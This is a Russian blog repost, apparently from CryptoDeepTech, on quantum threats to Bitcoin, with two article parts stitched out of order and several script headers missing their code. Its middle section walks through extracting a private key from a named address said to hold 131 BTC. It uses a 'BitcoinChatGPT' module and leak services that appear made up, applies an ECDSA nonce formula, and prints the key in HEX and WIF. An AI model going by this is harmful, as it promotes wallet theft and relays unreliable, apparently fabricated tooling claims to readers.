Если заглянуть на несколько лет вперед, можно предположить правдоподобные улучшения в технологии квантовых компьютеров. Если предположить код квантовой коррекции ошибок, поддерживающий трансверсальные вентили Клиффорда и не-Клиффорда, так что нет замедления дистилляции, и что это делается без измерения, так что не требуется никакой классической обработки синдрома ошибок, то количество циклов, необходимых для одного вызова оракула, определяется исключительно глубиной схемы, которая составляет 2142094.Это основано на общей глубине схемы, рассчитанной следующим образом. Оракул вызывает два вызова хеш-функции SHA256, и это делается дважды: один раз для ее вычисления и один раз для ее отмены. Каждый хеш имеет обратимую глубину схемы 528768.



Чтобы оценить, сколько ресурсов нужно для квантовой атаки на блокчейн или цифровые подписи, нужно учитывать много факторов, в том числе количество определенных квантовых операций (T-вентилей и вентилей Клиффорда) и способы исправления ошибок в квантовом компьютере. Если предположить, что квантовые компьютеры в будущем станут лучше и смогут быстро и эффективно исправлять ошибки, то скорость взлома (скорость хеширования) может значительно возрасти.

Важно понимать, что эти скрипты предназначены для симуляции квантовых вычислений на классическом компьютере, поскольку для выполнения на реальном квантовом компьютере требуется специализированное оборудование и доступ к нему.


Пример 1: Qiskit (IBM) Qiskit — одна из самых популярных библиотек для квантового программирования на Python 237. Она предоставляет инструменты для создания, симуляции и выполнения квантовых схем.


Python-скрипт: QuBitWizard.py


В этом примере:

QuantumCircuit(2, 2): Создает квантовую схему с 2 кубитами и 2 классическими битами для хранения результатов измерений.circuit.h(0)



Пример 2: pyQuil (Rigetti) pyQuil — это библиотека от компании Rigetti Computing, ориентированная на квантовые компьютеры на сверхпроводниках.


Python-скрипт: WaveMaster.py



В этом примере:
Program(): Создает объект, представляющий квантовую программу.H(0), CNOT(0, 1), T(0): Применяет вентили Хадамара, CNOT и T к указанным кубитам.WavefunctionSimulator(): Создает симулятор квантовых вычислений.simulator.simulate(program): Симулирует выполнение программы и возвращает волновую функцию, описывающую состояние кубитов после выполнения программы.


Python-скрипт: CirqQuantumCircuit.py


В этом примере, Cirq используется для тех же операций, что и в предыдущих примерах, но с использованием синтаксиса Cirq.


Важные замечания:

Установка библиотек: Перед запуском этих скриптов необходимо установить соответствующие библиотеки. Например, для Qiskit: pip install qiskit qiskit-aer qiskit-visualization.

Эти примеры дают отправную точку для экспериментов с квантовыми операциями (включая T-вентили и вентили Клиффорда) с использованием Python и квантовых библиотек.


Например, если использовать определенные технологии и очень оптимистичные прогнозы, то скорость хеширования может достигать огромных значений, что сильно упростит квантовые атаки.


Моделирование развития хешрейта и сложности сети биткоин

Общее количество хешей в секунду во всей сети Биткоин берётся с blockchain info. Данные на рисунке 5(a) представляют собой скорости хеширования на первое января (2012–2015 гг.) и первое января и июля (2016–2017 гг.). Две пунктирные кривые соответствуют оптимистичным и менее оптимистичным предположениям для экстраполяций. Оптимистичная экстраполяция предполагает, что текущий рост будет продолжаться экспоненциально в течение пяти лет, а затем перейдёт в линейный рост по мере насыщения рынка полностью оптимизированными ASIC-майнерами Биткоина. Таким образом, сложность хеширования Биткоина рассчитывается как D(t) = rate(t) * 600 * 2^(-32) для двух сценариев, описанных выше. На рисунке 5(b) это сравнивается со значениями с blockchain.info на первое января 2015–2017 гг.


Чтобы предсказать, как изменится сложность майнинга Биткоина, анализируют, как быстро растёт вычислительная мощность сети (хешрейт). Данные о хешрейте берут с сайта blockchain.info и строят графики, показывающие, как хешрейт менялся в прошлом.



Делают два прогноза:

  1. Оптимистичный: Хешрейт продолжит расти очень быстро, пока все не перейдут на самые современные майнеры.

  2. Менее оптимистичный: Хешрейт будет расти с той же скоростью, что и сейчас.

Используя эти прогнозы, можно рассчитать, насколько сложнее станет майнить Биткоин в будущем. Сложность вычисляется на основе того, сколько хешей нужно сделать, чтобы найти новый блок1. Чем выше хешрейт, тем выше сложность.


Моделирование развития квантовых компьютеров

При моделировании необходимо учитывать несколько аспектов развития квантовых технологий. Поскольку на данном раннем этапе развития доступно лишь несколько точек данных, в наших оценках неизбежно присутствует большая неопределенность. Поэтому мы приводим две различные оценки: одну, оптимистичную по отношению к темпам развития, и другую, значительно более пессимистичную. Тем не менее, эти прогнозы следует рассматривать как очень приблизительную оценку, которая может потребовать адаптации в будущем. Во-первых, нам нужно сделать предположение о количестве кубитов, доступных в любой момент времени. Поскольку мы сосредотачиваемся только на твердотельных сверхпроводящих реализациях, доступно лишь несколько точек данных.



Мы предполагаем, что количество доступных кубитов будет расти экспоненциально со временем в ближайшем будущем. Оптимистичное предположение состоит в том, что число будет удваиваться каждые 10 месяцев, тогда как менее оптимистичное предположение предполагает, что число удваивается каждые 20 месяцев. Эти две экстраполяции показаны на рисунке 6(a). Точки данных взяты из следующей таблицы: (таблица не приведена).



Прогнозировать развитие квантовых компьютеров сложно, потому что у нас пока мало информации. Поэтому авторы статьи сделали два прогноза, которые отличаются друг от друга:

  • Оптимистичный прогноз: Квантовые компьютеры будут развиваться очень быстро, и количество кубитов (основных «кирпичиков» квантовых вычислений) будет удваиваться каждые 10 месяцев.

  • Пессимистичный прогноз: Развитие квантовых компьютеров будет идти медленнее, и количество кубитов будет удваиваться каждые 20 месяцев.

Оба прогноза, скорее всего, не очень точные, но они помогают понять, как быстро могут развиваться квантовые компьютеры и когда они могут стать угрозой для существующих систем защиты информации


Мы прогнозируем, что частота квантовых вентилей будет расти экспоненциально в течение следующих нескольких лет. Это предполагает, что классические схемы управления будут достаточно быстрыми, чтобы управлять квантовыми вентилями на этих частотах. Через пару лет рост значительно замедляется, поскольку для дальнейшего ускорения квантовых вентилей необходимы более быстрые классические схемы управления. Мы ограничиваем частоту квантовых вентилей на уровне 50 ГГц (для оптимистичного случая) или 5 ГГц (для менее оптимистичного случая), соответственно, главным образом потому, что ожидаем, что классические схемы управления не смогут управлять квантовыми вентилями на более высоких частотах. (См., например, [HHOI11] о прогрессе в этом направлении.)



В статье также прогнозируется, как быстро будут работать квантовые компьютеры, то есть как часто они смогут выполнять основные операции (квантовые вентили).



  • Прогноз: Сначала скорость работы квантовых компьютеров будет расти очень быстро, но потом рост замедлится.

  • Ограничение: Авторы считают, что есть предел скорости, который сложно будет превысить, потому что для управления квантовыми компьютерами нужны очень быстрые «обычные» (классические) компьютеры. Если обычные компьютеры не смогут успевать, то и квантовые компьютеры не смогут работать быстрее.

Оптимистичный прогноз предполагает, что скорость работы квантовых компьютеров достигнет 50 ГГц, а пессимистичный — только 5 ГГц.



На рисунке 6 представлены прогнозы количества кубитов, частоты квантовых вентилей (в операциях вентилей в секунду) и неточности квантовых вентилей в зависимости от времени. Четвертый график моделирует снижение накладных расходов из-за теоретических достижений. Предсказанное развитие неточности вентилей показано на рисунке 6(c). Мы предполагаем, что неточность вентилей продолжит падать экспоненциально, но что это развитие остановится на неточности 5 · 10^-6 (оптимистичный случай) или 5 · 10^-5 (менее оптимистичный случай). Для оптимистичного случая мы ожидаем, что неточность вентилей продолжит следовать закону ДиВинченцо, который предсказывает уменьшение неточности в 2 раза в год. Данные взяты из следующей таблицы: (таблица не приведена).


Помимо количества кубитов и скорости их работы, важно учитывать, насколько хорошо они работают, то есть насколько часто они делают ошибки.


Это называется «неточность вентилей».

  • Прогноз: Ожидается, что квантовые компьютеры будут становиться точнее, и количество ошибок будет уменьшаться.

  • Ограничение: Но есть предел, после которого улучшить точность будет очень сложно. Оптимистичный прогноз предполагает, что неточность снизится до 5 на миллион, а пессимистичный — до 5 на 100 тысяч.

Чем точнее работают кубиты, тем меньше нужно дополнительных ресурсов (кубитов и времени) для исправления ошибок.


Наконец, мы предполагаем, что количество кубитов и временных шагов, требуемых любым алгоритмом, будет уменьшаться с течением времени по двум причинам. Во-первых, точность вентилей будет увеличиваться со временем и, таким образом, позволит использовать более эффективные отказоустойчивые схемы. Во-вторых, теоретические достижения позволят уменьшить количество кубитов и вентилей, необходимых для реализации алгоритма и отказоустойчивых схем. Мы ожидаем, что этот фактор будет overhead(t) = β^(t-2017), где β ∈ {0.75, 0.85} для оптимистичных и менее оптимистичных предположений, соответственно.


Со временем для решения задач на квантовых компьютерах потребуется меньше ресурсов (кубитов и времени) благодаря двум вещам:


  1. Улучшение точности кубитов: Чем точнее работают кубиты, тем меньше нужно дополнительных усилий для исправления ошибок.

  2. Теоретические прорывы: Ученые будут разрабатывать новые алгоритмы и методы, которые позволят делать те же вычисления, используя меньше кубитов и операций.

Чтобы оценить, насколько сильно уменьшатся требования к ресурсам, они вводят специальный коэффициент, который зависит от времени и от того, насколько оптимистично мы смотрим на будущее. Этот коэффициент показывает, во сколько раз можно будет сократить количество необходимых кубитов и времени.


Процесс выявления критической уязвимости в транзакции

  1. ↩︎

Для поиск уязвимости RawTX, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение.

Воспользуемся списком из “Dockeyhunt Deep Learning” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.


<a href="https://pikabu.ru/story/kvantovyie_ataki_na_bitkoin_chast_2_12444751?u=https%3A%2F%2Fdockeyhunt.com%2Fdockeyhunt-deep-learning&t=Dockeyhunt%20Deep%20Learning&h=7d0aeb07f795e095f2e8f303a8d57df4878c3056" title="https://dockeyhunt.com/dockeyhunt-deep-learning" target="_blank" rel="nofollow noopener">Dockeyhunt Deep Learning</a>

Dockeyhunt Deep Learning


BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения приватного ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.


Создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT. В качестве примера возьмем адрес Биткоин кошелька: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm на сумму: 131.59300888 BTC и получим HASH публичный ключ. Затем, используя BitcoinChatGPT, создадим уязвимость Raw транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA.


Получим HASH публичный ключ используя Python-скрипт: wif_to_hash160.py

Для реализации декодирования Base58 установим пакет:


!pip3 install base58




Запустим BitcoinChatGPT

%run BitcoinChatGPT


How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: e361516c3163a3d997d7b270c4378816a86343de



Соединим все выданные значение в одну общую строку с помощью Python-скрипта

combinex.py:


В результате мы получаем уязвимую транзакцию RawTX как мы знаем в контексте блокчейна Биткоина относится к сырым данным транзакции, которые хранятся в блокчейне в форме двойного хеширования. Это означает, что RawTX проходит через алгоритм SHA256 дважды, чтобы получить хэш транзакции, который виден в блокчейне. Этот хэш известен как txid (идентификатор транзакции).


Процесс компрометации извлечения секретного ключа Nonce значение K

Запустим BitcoinChatGPT

%run BitcoinChatGPT

How a vulnerable RawTX transaction in the Bitcoin blockchain can be compromised to extract the secret key Nonce value K using mathematical methods



BLOCKCHAIN FOLBIT LEAKS

Декодируем уязвимую RawTX транзакцию с помощью функции сервиса BLOCKCHAIN FOLBIT LEAKS



Результат значение K секретного ключа Nonce в формате HEX

K = 39588951cd20e38a6dc86d6b436da7abd2bcad84af3dd16b6f8a83c946c1d3c6


Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder

<a href="https://pikabu.ru/story/kvantovyie_ataki_na_bitkoin_chast_2_12444751?u=https%3A%2F%2Fdustattack.org%2FRSZ-Signature-Decoder&t=RSZ%20Signature%20Decoder&h=03a076da33627fc4b134e49da4c24f3e8c8165e1" title="https://dustattack.org/RSZ-Signature-Decoder" target="_blank" rel="nofollow noopener">RSZ Signature Decoder</a>

RSZ Signature Decoder


Результат значении для R, S, Z в формате HEX

R = aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 S = 0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 Z = bbfd05c3355957cbdf44d283b9199eb9741f775a16081288187a82f544fac11f


Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator

<a href="https://pikabu.ru/story/kvantovyie_ataki_na_bitkoin_chast_2_12444751?u=https%3A%2F%2Fdockeyhunt.com%2Fdockeyhunt-private-key-calculator&t=Dockeyhunt%20Private%20Key%20Calculator&h=dae0eece649cfab9145a2c127586487cd393b7d3" title="https://dockeyhunt.com/dockeyhunt-private-key-calculator" target="_blank" rel="nofollow noopener">Dockeyhunt Private Key Calculator</a>

Dockeyhunt Private Key Calculator


В результате мы получаем значение X приватный ключ в формате HEX

X = 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae


Проверим полученный результат приватного ключа с помощью машинного обучения

Запустим BitcoinChatGPT

%run BitcoinChatGPT

Apply the BLOCKCHAIN FOLBIT LEAKS function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency


В конечном итоге модуль BitcoinChatGPT выдает ответ в файл:

KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/38QuantumAttacks/KEYFOUND.privkey


============================= KEYFOUND.privkey =============================

Private Key HEX: 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Private Key WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx

Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

Balance: 131.59300888 BTC

============================= KEYFOUND.privkey =============================


Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин.

!pip3 install bitcoin


Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm total_received = 131.59300888 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

https://cryptodeeptech.ru/bitaddress.html

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae


Заключение и действия по снижению опасности.

В этой статье мы изучили методы восстановления доступа к утерянным криптовалютным кошелькам и приватным ключам с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел, а также утечки данных BLOCKCHAIN FOLBIT LEAKS. Мы продемонстрировали, как использовать программное обеспечение для извлечения приватных ключей из уязвимых транзакций, что показало, что даже в безопасных системах, таких как Bitcoin, существуют уязвимости, которые можно использовать для восстановления доступа к потерянным средствам.

Для защиты от угроз, связанных с уязвимостью RawTX транзакции криптовалюты Биткоин, пользователям необходимо предпринять следующие шаги:

  1. Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности.

  2. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей.

  3. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей.

  4. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность.

Для защиты от потенциальных атак, связанных с уязвимостью RawTX в транзакциях Bitcoin, пользователям рекомендуется обновлять программное обеспечение своих кошельков до последних версий. Регулярные обновления, использование систем мониторинга аномалий и повышение информированности пользователей о потенциальных угрозах будут способствовать поддержанию безопасности и целостности криптовалютных систем.

Уязвимость RawTX в транзакциях Bitcoin создает серьезную угрозу для безопасности криптовалютных операций и целостности блокчейна. Чтобы снизить риски, пользователям необходимо регулярно обновлять программное обеспечение, внедрять строгие меры безопасности и осуществлять постоянный контроль над состоянием сети. Эти действия будут способствовать поддержанию безопасности и стабильности криптовалютных систем, защищая пользователей от потенциальных атак и финансовых потерь.

Наше исследование показывает значимость математического анализа в криптовалютах и демонстрирует потенциал использования сложных математических методов для решения практических задач в криптоанализе. Однако эти методы могут быть применены как для восстановления доступа к утерянным средствам, так и для использования уязвимостей, что подчеркивает необходимость усиления безопасности криптовалютных систем.


References:

  1. Analyzing Quantum Vulnerabilities: The Insecurity of Classical Proof Systems in Quantum Contexts

  2. Enhancing Security: The Impact of Iteration on Quantum Attacks Against Block Ciphers

  3. Assessing Quantum Threats to Bitcoin: Risks and Protective Strategies for Cryptocurrencies

  4. Quantum Threats to Pseudorandom Generators: Analyzing Attacks on the Blum-Micali Generator

  5. Advancing Quantum Collision Attacks: Analyzing SHA-256 and SHA-512 Vulnerabilities

  6. Exploring Quantum Vulnerabilities: Attacks on Beyond-Birthday-Bound MAC’s

  7. Enhancing Quantum Cybersecurity: Advanced Variational Attacks on Cryptographic Protocols

  8. Exploring Practical Quantum Cryptography: Capabilities, Implementations, and Attack Vulnerabilities

  9. Navigating the Shift to Quantum Resistance: Preparing for the Future of Cryptography

  10. Securing the Quantum Age: Exploring Quantum-Resistant Cryptographic Protocols

  11. Quantum-Resistant Code-Based Cryptosystem: A Novel Approach Using Repetition of Error-Correcting Codes

  12. Assessing Electromagnetic Side-Channel Attack Risks in Quantum Key Distribution Receivers Using Multi-Class Classification

  13. Managing Cryptographic and Quantum Risks: A Practical Guide for Organizations

  14. Enhancing Cloud Security: Quantum Cryptography Algorithms for Robust Data Storage and Processing

  15. Transitioning to Quantum-Safe Cryptography on IBM Z: A Guide for Secure Data Protection

  16. Post-Quantum Attacks on Symmetric-Key Cryptography: Analyzing Vulnerabilities and Defense Strategies

  17. Report on Post-Quantum Cryptography: NIST’s Strategies for Securing Digital Communications Against Quantum Threats

  18. Quantum Computing and Cybersecurity: Navigating Emerging Threats and Mitigation Strategies

  19. Revolutionizing Currency: The Concept and Development of Quantum Money

  20. Post-Quantum Cryptography: Preparing for Quantum Threats and Securing the Future of Encryption

  21. Ensuring Digital Sovereignty: The Critical Role of Cryptographic Security in Europe

  22. Preparing for the Quantum Threat: Safeguarding Sensitive Information Against Future Risks

  23. Defending Quantum Private Communication: Strategies Against Trojan Horse Attacks

  24. Bitcoin’s Quantum Resistance: A Commit-Delay-Reveal Protocol for Secure Transition

  25. Project Leap: Safeguarding the Financial System in the Quantum Era

  26. Quantum Threats to Bitcoin: Vulnerabilities and Mitigation Strategies

  27. Navigating the Quantum Frontier: Understanding Quantum Computing and the Rise of Post-Quantum Cryptography

  28. Quantum Origin: Revolutionizing Cryptographic Key Generation with Verifiable Quantum Randomness

  29. Developing Quantum-Resistant Cryptography: Encryption for a Post-Quantum World

  30. Quantum-Safe Cryptography: Addressing the Challenges and Opportunities in a Quantum Computing Era

  31. The Quantum Computing Revolution: Implications for Modern Cryptographic Security

  32. Private-Key & Public-Key Cryptography in the Quantum Era: Security Risks and Future Strategies

  33. The Quantum Risk Paradox: Why the Threat Is Already Here (Quantum Threat Timeline)


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Google Colab

BitcoinChatGPT

Blockchain Folbit Leaks

Dockeyhunt Deep Learning

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/p62orC7WDUE

Video tutorial: https://dzen.ru/video/watch/67c3e91abbfa683a745a0aea

Источник: https://cryptodeeptool.ru/quantum-attacks-on-bitcoin


Показать полностью 23 1
1

Квантовые атаки на Биткоин: [Часть №1]

Многие эксперты по криптоанализу задаются вопросом: Сможет ли криптовалютная индустрия выстоять перед лицом новой технологической революции? В этой статье речь пойдет об современных методах защиты финансовых операций и интернета, основанные на криптографии, которые могут оказаться бессильными перед достаточно мощным квантовым компьютером, уязвимый ли криптовалюты, чей рынок оценивается в сотни миллиардов долларов. Исследование показывает, что алгоритм подтверждения работы, используемый в Bitcoin, относительно устойчив к квантовым атакам в ближайшее десятилетие, благодаря высокой скорости специализированного оборудования для майнинга. Однако, используемая Bitcoin система цифровых подписей на эллиптических кривых может быть взломана уже к 2027 году. В качестве альтернативы рассматривается алгоритм Momentum, который более устойчив к квантовым вычислениям. Также анализируются другие методы защиты, которые могут обеспечить безопасность и эффективность блокчейн-приложений в будущем.

В целом, результаты исследования говорят о том, что квантовые компьютеры представляют собой серьезную угрозу для криптовалют, и необходимо разрабатывать новые методы защиты, чтобы обеспечить их безопасность в будущем. Также на примере мы рассмотрим процесс компрометации извлечения секретного ключа Nonce значение K из уязвимой RawTX транзакции с помощью процесса машинного обучение BitcoinChatGPT.1

Биткоин, как децентрализованная и защищенная криптографией цифровая валюта, успешно существует с 2008 года, вдохновляя создание множества других криптовалют. Его безопасность обеспечивается механизмом подтверждения работы (proof-of-work) и криптографическими подписями на основе эллиптических кривых. Однако, развитие квантовых компьютеров представляет серьезную угрозу для Биткоина и всей современной криптографии, используемой в интернете и финансовых транзакциях. Исследование показывает, что алгоритм подтверждения работы, используемый в Биткоине, относительно устойчив к квантовым атакам в ближайшие 10 лет благодаря высокой скорости специализированного оборудования для майнинга. Но система цифровых подписей на эллиптических кривых уязвима для алгоритма Шора и может быть взломана уже к 2027 году, что позволит злоумышленникам получать секретные ключи из транзакции Биткоина и приватные ключи из открытых. В качестве решения предлагается использовать альтернативные алгоритмы, такие как Momentum для подтверждения работы, и квантово-устойчивые схемы подписи. В целом, результаты исследования говорят о том, что квантовые компьютеры представляют собой серьезную угрозу для Биткоина, и необходимо разрабатывать новые методы защиты, чтобы обеспечить его безопасность в будущем. Квантовые компьютеры могут взломать Биткоин в течение пяти лет. Это может привести к потере более 3 трлн долларов на криптовалютных и других рынках и вызовет глубокую рецессию.

Основы работы Биткоина и принципы защиты от атак: механизм блокчейна и доказательство работы

В этой части статьи мы постараемся объяснить, как устроен Биткоин, чтобы было проще понять возможные атаки с использованием квантовых компьютеров. Описание дается в общих чертах, так как основные принципы работы похожи и у других криптовалют. Все транзакции записываются в публичный реестр – блокчейн. Транзакции объединяются в блоки, которые считаются произошедшими одновременно и выстраиваются в цепочку. Каждый блок содержит ссылку на предыдущий в виде его хеша. Новые блоки добавляют майнеры, используя механизм «доказательства работы» (Proof-of-Work, PoW). Биткоин использует алгоритм Hashcash. Майнеры ищут подходящий заголовок блока, чтобы его хеш был меньше определенной величины. Заголовок содержит информацию о транзакциях, хеш предыдущего блока, временную метку и случайное число (nonce). Сложность задачи подбирается автоматически, чтобы блок находился примерно за 10 минут. В Биткоине используется двойное хеширование SHA256.


Python-скрипт: DoubleSHA256Hasher.py


import hashlib def double_sha256(data): """ Performs double SHA256 hashing on the input data. """ # First pass of SHA256 hash1 = hashlib.sha256(data).digest() # Second pass of SHA256 hash2 = hashlib.sha256(hash1).digest() return hash2 # Example usage data = b"Example data for double SHA256" # Data must be represented as bytes hashed_data = double_sha256(data) print(hashed_data.hex()) # Output in hexadecimal format

В этом скрипте:

  1. Импортируется модуль hashlib.

  2. Определяется функция double_sha256, которая принимает данные в байтовом формате2.

  3. Внутри функции:

    • Вычисляется хеш SHA256 от входных данных с помощью hashlib.sha256(data).digest(). Метод .digest() возвращает хеш в виде байтовой строки.

    • Затем вычисляется хеш SHA256 от полученного хеша.

    • Функция возвращает второй хеш.

  4. Пример использования показывает, как применить функцию к байтовой строке и вывести результат в шестнадцатеричном формате. Важно отметить, что входные данные должны быть представлены именно в байтах, для этого используется b"..."



Майнеры добавляют в блок выбранные ими транзакции и получают за это вознаграждение в биткоинах. Когда майнер находит подходящий заголовок, он сообщает об этом сети, и блок добавляется в блокчейн. Проверить правильность решения PoW легко – достаточно один раз вычислить хеш. PoW нужен для того, чтобы один участник не мог подделать блокчейн, например, чтобы потратить одни и те же деньги дважды. Блокчейн может разветвляться, но майнеры должны работать над самой длинной цепочкой. Считается, что транзакция в Биткоине подтверждена, когда после нее добавлено еще 6 блоков. В статье рассматривается, какое преимущество квантовый компьютер может дать при решении PoW и сможет ли он подделывать блокчейн. Также анализируется структура транзакций. Когда Боб хочет отправить биткоины Алисе, Алиса создает пару ключей – приватный и публичный. Публичный ключ хешируется и получается адрес, который Алиса сообщает Бобу. Биткоин использует хеш публичного ключа для экономии места. Для отправки биткоинов Боб указывает транзакции, где он получил биткоины на свои адреса. Сумма полученных биткоинов должна быть не меньше, чем сумма, которую Боб хочет отправить Алисе. Боб подтверждает владение адресами, указывая публичные ключи и подписывая сообщение своим приватным ключом. Выбор использовать хеш публичного ключа вместо самого ключа влияет на безопасность Биткоина от квантовых атак.


Иллюстрация блока. Данные в верхней части составляют заголовок блока.

Иллюстрация блока. Данные в верхней части составляют заголовок блока.


Attacks on the Bitcoin Proof-of-Work

По большой части квантовый компьютер может быть эффективнее обычного при майнинге Биткоина, то есть при выполнении Proof-of-Work (PoW) на основе алгоритма hashcash. Квантовый компьютер, использующий алгоритм поиска Гровера, может выполнить PoW, перебрав значительно меньше вариантов хешей, чем классический компьютер. Однако, современные ASIC-майнеры, специализированные на вычислении хешей, работают настолько быстро, что это преимущество квантовых компьютеров нивелируется, учитывая, что скорость работы квантовых компьютеров пока еще относительно невелика. В будущем, если скорость работы квантовых компьютеров удастся увеличить до 100 ГГц, они смогут решать задачу PoW примерно в 100 раз быстрее, чем сейчас. Но это вряд ли произойдет в ближайшие 10 лет. К тому времени и обычные компьютеры станут быстрее, и квантовые технологии получат более широкое распространение, так что ни у кого не будет возможности единолично доминировать в майнинге. Для оценки безопасности блокчейна важно понимать, какой объем вычислительных ресурсов потребуется, чтобы квантовый компьютер мог успешно решать задачу PoW с вероятностью больше 50%.В итоге, хотя квантовые компьютеры и могут ускорить процесс майнинга теоретически, на практике, из-за ограничений текущих технологий, они пока не представляют серьезной угрозы для безопасности Биткоина. Однако, в будущем, с развитием квантовых технологий, эта угроза может стать более реальной, и необходимо разрабатывать соответствующие меры защиты насколько эффективным может быть квантовый компьютер при майнинге Биткоина, с учетом всех технических сложностей и ограничений. Алгоритм Гровера позволяет квантовому компьютеру искать решение (подходящий заголовок блока) гораздо быстрее, чем классическому, но на практике это преимущество сильно нивелируется.



Для каждого вычисления хеша и построения блока требуются дополнительные операции, а квантовая коррекция ошибок добавляет значительные накладные расходы. Чтобы оценить реальную производительность, используется модель универсального квантового компьютера с коррекцией ошибок.



Вычисление хеша SHA256 на квантовом компьютере требует преобразования логических операций в обратимые квантовые операции, что увеличивает сложность. Кроме того, квантовым компьютерам необходимо исправлять ошибки, что также требует дополнительных ресурсов и времени. В итоге, скорость майнинга на квантовом компьютере зависит не только от алгоритма Гровера, но и от множества других факторов, таких как тактовая частота, частота ошибок, сложность алгоритмов коррекции ошибок и количество используемых кубитов. В статье вводится понятие «эффективной скорости хеширования» для квантового компьютера (hQC), которая учитывает все эти факторы. Анализ показывает, что при текущем уровне развития технологий квантовые компьютеры значительно уступают специализированным ASIC-майнерам по скорости хеширования. Однако, ожидается, что в будущем квантовые технологии будут развиваться, и их производительность будет расти. В статье приводятся прогнозы на ближайшие 25 лет и оценивается, когда квантовые компьютеры смогут превзойти классические в майнинге Биткоина. Даже если квантовый компьютер не сможет единолично контролировать майнинг, он может быть использован для атак на майнинговые пулы с использованием смарт-контрактов. Небольшое преимущество в скорости хеширования позволит злоумышленникам получать прибыль за счет манипуляций и удержания блоков.

Несмотря на ограничения по времени, эффективная скорость хеширования асимптотически улучшается пропорционально квадратному корню сложности задачи, что отражает преимущество квантовых процессоров. Алгоритм Гровера можно запустить параллельно на нескольких квантовых процессорах. В идеальном случае, каждый процессор ищет решение во всем возможном пространстве вариантов. Это уменьшает число необходимых запросов к оракулу для нахождения решения. В результате, время нахождения решения сокращается, а общая скорость хеширования увеличивается. В алгоритме Гровера требуется фиксированное количество логических кубитов (2402), независимо от сложности задачи. Однако, количество необходимых физических кубитов зависит от используемых методов коррекции ошибок и связано со сложностью задачи и вероятностью ошибок.

Результаты анализа производительности квантовых компьютеров при атаках на блокчейн представлены на рисунке 2. На графике сравнивается мощность хеширования сети Биткоин и одного квантового компьютера в течение следующих 25 лет. Оценки даны в оптимистичном и пессимистичном сценариях. Согласно оптимистичному прогнозу, до 2028 года не будет существовать квантовых компьютеров, достаточно мощных для реализации алгоритма Гровера. Для сравнения, на графике также показана скорость хеширования современных ASIC-устройств.



Описание схемы скорости хеширования ASIC-устройств

Современные ASIC-устройства для майнинга криптовалют на основе алгоритма SHA-256 (например, Bitcoin) работают следующим образом:

  1. Предварительная обработка данных: Входные данные дополняются до длины кратной 512 битам.

  2. Начальная настройка: Используются предопределенные начальные значения хеша.

  3. Обработка в блоках: Данные обрабатываются в 512-битных блоках за 64 раунда.

  4. Смешивание и преобразование: Побитовые операции, модульное сложение и сдвиги битов смешивают данные.

Примеры устройств

УстройствоСкорость ХешированияBitmain Antminer S21 ProДо 234 Th/s1Antminer T911,5 Th/s4Cheetah Miner F1Около 24 Th/s6

Эти устройства оптимизированы для максимальной производительности при минимальном энергопотреблении.


